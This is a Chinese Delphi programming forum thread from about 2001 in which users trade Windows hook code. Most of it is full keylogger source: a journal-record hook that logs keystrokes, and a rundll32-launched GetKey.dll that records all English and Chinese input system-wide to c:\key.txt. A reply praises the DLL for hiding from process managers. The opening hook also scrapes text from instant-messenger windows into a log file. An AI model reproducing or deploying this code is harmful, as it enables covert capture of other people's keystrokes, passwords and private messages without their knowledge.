谁有使用WH_CALLWNDPROC HOOK的例子

[a1b2c3d4]

请贴上。谢谢
我写了个，一挂就死。不知为何？


unit mssllfunc;

interface

uses
Windows, Messages,SysUtils,ComCtrls;

var
hNextHookProc: HHook;
procSaveExit: Pointer;


function EnableHook: BOOL; export;
function DisableHook: BOOL; export;
procedure HookExit; far;
function CBTProc(iCode: Integer;
wParam: WPARAM;
lParam: LPARAM): LRESULT; stdcall; export;
function GetText(_hWnd: HWND):String;
function WriteLogFile(s_Text:String):integer;
implementation

function CBTProc(iCode: Integer;
wParam: WPARAM;
lParam: LPARAM): LRESULT; stdcall; export;
var
_hWnd_Win,_hWnd_Edt: HWND;
p_Cwp:^CWPSTRUCT;
Buff: array[0..4095] of Char;
s_Text:String;
begin
Result := 0;
If iCode < 0 Then
begin
Result := CallNextHookEx(hNextHookProc, iCode, wParam, lParam);
Exit;
end;
p_Cwp:=Pointer(lParam);
WriteLogFile(IntToStr(p_Cwp^.message));
if p_Cwp^.message=WM_CLOSE then
begin
_hWnd_Win :=p_Cwp^.hwnd;
GetClassName(_hWnd_Win, @Buff, 128);
if CompareStr(Buff,'IMWindowClass')=0 then
begin
_hWnd_Edt := FindWindowEx(_hWnd_Win,0, 'Edit',nil);
if _hWnd_Edt<>0 then
Begin
s_Text := GetText(_hWnd_Edt);
end;
_hWnd_Edt := FindWindowEx(_hWnd_Win,0, 'RichEdit20W',nil);
if _hWnd_Edt<>0 then
Begin
s_Text := '【'+'】'+s_Text+Chr(10)+Chr(13)+ GetText(_hWnd_Edt);
end;
WriteLogFile(s_Text);
end;
end;
Result := 0;
end;

//写LOG文件
function WriteLogFile(s_Text:String):integer;
Const f_Name= 'C:\Log.txt';
Var f_Log: TextFile;
Begin
//
AssignFile(f_Log,f_Name);
If Not FileExists(f_Name) Then
Rewrite(f_Log)
else
Append(f_Log);

Writeln(f_Log,s_Text);
Flush(f_Log);
CloseFile(f_Log);

End;

function GetText(_hWnd: HWND):String;
var
dd,hh: hwnd;
i: integer;
mem: pchar;
begin
Result:='';
if _hWnd<>0 then
Begin
i := SendMessage(hh,WM_GETTEXTLENGTH,0,0);
getmem(mem,i+1);
SendMessage(hh,WM_GETTEXT,i+1,LongInt(mem));
Result:=strpas(mem);
End;
getmem(mem,0);
end;

//CWPSTRUCT

function EnableHook: BOOL; export;
begin
Result := False;
if hNextHookProc <> 0 then Exit;
hNextHookProc := SetWindowsHookEx(WH_CALLWNDPROC,
CBTProc,
HInstance,
0);
Result := hNextHookProc <> 0;
WriteLogFile('OK ,SETTED.');
end;


function DisableHook: BOOL; export;
begin
if hNextHookProc <> 0 then
begin
UnhookWindowshookEx(hNextHookProc);
hNextHookProc := 0;
MessageBeep(0);
MessageBeep(0);
end;
Result := hNextHookProc = 0;
end;


procedure HookExit;
begin
if hNextHookProc <> 0 then DisableHook;
ExitProc := procSaveExit;
end;

end.

[naughtyboy]

如何在Win9x/NT/2000平台记录键盘所有动作（包括汉字输入），象pcGhost，不要带DLL的 (300分)

jingtao (2001-8-19 9:02:00)
不用DLL的:
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
StdCtrls, ExtCtrls;

type
TForm1 = class(TForm)
ListBox1: TListBox;
Button1: TButton;
Button2: TButton;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
function Keyhookresult(lP: integer; wP: integer): pchar;
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
hookkey: string;
hooktimes: word;
hHook: integer;
implementation
{$R *.DFM}

function TForm1.Keyhookresult(lP: integer; wP: integer): pchar;
begin
result := '[Print Screen]';
case lp of
10688: result := '`';
561: Result := '1';
818: result := '2';
1075: result := '3';
1332: result := '4';
1589: result := '5';
1846: result := '6';
2103: result := '7';
2360: result := '8';
2617: result := '9';
2864: result := '0';
3261: result := '-';
3515: result := '=';
4177: result := 'Q';
4439: result := 'W';
4677: result := 'E';
4946: result := 'R';
5204: result := 'T';
5465: result := 'Y';
5717: result := 'U';
5961: result := 'I';
6223: result := 'O';
6480: result := 'P';
6875: result := '[';
7133: result := ']';
11228: result := '\';
7745: result := 'A';
8019: result := 'S';
8260: result := 'D';
8518: result := 'F';
8775: result := 'G';
9032: result := 'H';
9290: result := 'J';
9547: result := 'K';
9804: result := 'L';
10170: result := ';';
10462: result := '''';
11354: result := 'Z';
11608: result := 'X';
11843: result := 'C';
12118: result := 'V';
12354: result := 'B';
12622: result := 'N';
12877: result := 'M';
13244: result := ',';
13502: result := '.';
13759: result := '/';
13840: result := '[Right-Shift]';
14624: result := '[Space]';
283: result := '[Esc]';
15216: result := '[F1]';
15473: result := '[F2]';
15730: result := '[F3]';
15987: result := '[F4]';
16244: result := '[F5]';
16501: result := '[F6]';
16758: result := '[F7]';
17015: result := '[F8]';
17272: result := '[F9]';
17529: result := '[F10]';
22394: result := '[F11]';
22651: result := '[F12]';
10768: Result := '[Left-Shift]';
14868: result := '[CapsLock]';
3592: result := '[Backspace]';
3849: result := '[Tab]';
7441:
if wp > 30000 then
result := '[Right-Ctrl]'
else
result := '[Left-Ctrl]';
13679: result := '[Num /]';
17808: result := '[NumLock]';
300: result := '[Print Screen]';
18065: result := '[Scroll Lock]';
17683: result := '[Pause]';
21088: result := '[Num0]';
21358: result := '[Num.]';
20321: result := '[Num1]';
20578: result := '[Num2]';
20835: result := '[Num3]';
19300: result := '[Num4]';
19557: result := '[Num5]';
19814: result := '[Num6]';
18279: result := '[Num7]';
18536: result := '[Num8]';
18793: result := '[Num9]';
19468: result := '[*5*]';
14186: result := '[Num *]';
19053: result := '[Num -]';
20075: result := '[Num +]';
21037: result := '[Insert]';
21294: result := '[Delete]';
18212: result := '[Home]';
20259: result := '[End]';
18721: result := '[PageUp]';
20770: result := '[PageDown]';
18470: result := '[UP]';
20520: result := '[DOWN]';
19237: result := '[LEFT]';
19751: result := '[RIGHT]';
7181: result := '[Enter]';
end;
end;

function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then
hookkey := hookkey+ Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH);
if length(hookkey) > 55 then
begin
Form1.ListBox1.Items.Add(hookkey);
hookkey := TimeToStr(now) + ' ';
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
hooktimes := 0;
hHook := 0;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
inc(hooktimes);
if hooktimes = 1 then
begin
hookkey := TimeToStr(now) + ' ';
hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
MessageBox(0, '键盘监视启动', '信息', MB_ICONINFORMATION + MB_OK);
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
UnHookWindowsHookEx(hHook);
hHook := 0;
if hooktimes <> 0 then
begin
MessageBox(0, '键盘监视关闭', '信息', MB_ICONINFORMATION + MB_OK);
end;
hooktimes := 0;
end;

end.



jingtao (2001-8-19 9:04:00)
上面的是英文监控的,不用DLL
写一个DLL过滤wm_char,和wm_ime_char消息，就能得到键盘输入的任何字中英文字符.

jingtao (2001-8-19 20:04:00)
这里就有一个代码,注意:有BUG,所以只可运行一次.除非重新启动.
这个好像是隐藏进程的例子,运行后只看到RUNDLL32.exe而看不到Getkey.dll,再跳一下就彻底
隐藏,用进程管理软件也看不出来.
其实这个把自己挂到别的进程空间里运行而隐藏自己的方法最早是BO2K小组成员提出来的,
现在国内很多软件开始用它了,象那个什么"网络实名",你比较难删除它.
我想起<<赌神>>里面的一句话:你用的液晶是美国两年前落后产品.呵呵.可爱的体制教育,
你只能培养出垃圾,所以老在别人后面跑.

{本程序能过滤wm_char,和wm_ime_char消息，所以能得到键盘输入的任何字中英文字符，
结果存在C;\key.txt中,使用方法为:
rundll32 GetKey.dll,run
}

library GetKey;

uses windows,messages,sysutils;

{$r *.res}

const

HookMemFileName='HookMemFile.DTA';

type
PShared=^TShared;
PWin=^TWin;
TShared = record
HHGetMsgProc:HHook;
HHCallWndProc:HHook;
Self:integer;
Count:integer;
hinst:integer;
end;
TWin = record
Msg:TMsg;
wClass:TWndClass;
hMain:integer;
end;
var
MemFile:THandle;
Shared:PShared;
Win:TWin;

procedure SaveInfo(str:string);stdcall;
var
f:textfile;
begin
assignfile(f,'c:\key.txt');
if fileexists('c:\key.txt')=false then rewrite(f)
else append(f);
if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'')
else write(f,str);
closefile(f);
end;

procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;
begin
if (uMessage=WM_CHAR) and (lParam<>1) then
begin
SaveInfo(format('%s',[chr(wparam and $ff)]));
inc(shared^.count);
if shared^.count>60 then
begin
SaveInfo('#13#10');
shared^.count:=0;
end;
end;
if (uMessage=WM_IME_CHAR) then
begin
SaveInfo(format('%s%s',[chr((wparam shr 8) and $ff),chr(wparam and $ff)]));
inc(shared^.count,2);
end;
end;

[naughtyboy]

function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcs:PMSG;
hd,uMsg,wP,lP:integer;
begin
pcs:=PMSG(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam);

end;

function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcs:PCWPSTRUCT;
hd,uMsg,wP,lP:integer;
begin
pcs:=PCWPSTRUCT(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam);
end;

procedure SetHook(fSet:boolean);
begin
with shared^ do
if fSet=true then
begin
if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0);
if HHCallWndProc=0 then
begin
HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);
if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);
end;
end else
begin
if HHGetMsgProc<>0 then UnhookWindowsHookEx(HHGetMsgProc);
if HHCallWndProc<>0 then UnhookWindowsHookEx(HHCallWndProc);
HHGetMsgProc:=0;
HHCallWndProc:=0;
end;
end;

procedure Extro;
begin
UnmapViewOfFile(Shared);
CloseHandle(MemFile);
end;


function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
wm_destroy:
begin
SetHook(False);
ExitThread(0);
freelibrary(shared^.hinst);
// TerminateThread();
//exitprocess(0);
end;
end;
end;

procedure run;stdcall;
begin
win.wClass.lpfnWndProc:= @WindowProc;
win.wClass.hInstance:= hInstance;
win.wClass.lpszClassName:='GetKey';
RegisterClass(win.wClass);
win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'GetKey',WS_CAPTION,0,0,1,1,0,0,hInstance,nil);
FillChar(Shared^,SizeOf(TShared),0);
shared^.self:=win.hmain;
shared^.hinst:=hinstance;
SetHook(true);
postmessage(findwindow('WinExec',nil),wm_destroy,0,0);
while(GetMessage(win.Msg,win.hmain,0,0))do
begin
TranslateMessage(win.Msg);
DispatchMessage(win.Msg);
end;
end;

procedure DllEntryPoint(fdwReason:DWORD);
begin
case fdwReason of
DLL_PROCESS_DETACH:
Extro;
end;
end;

exports run;

begin
//建立内存映象文件，用来保存全局变量
MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName);
Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);
DLLProc:=@DllEntryPoint;
end.

[naughtyboy]

陈经韬的一个例子

[2312]

学习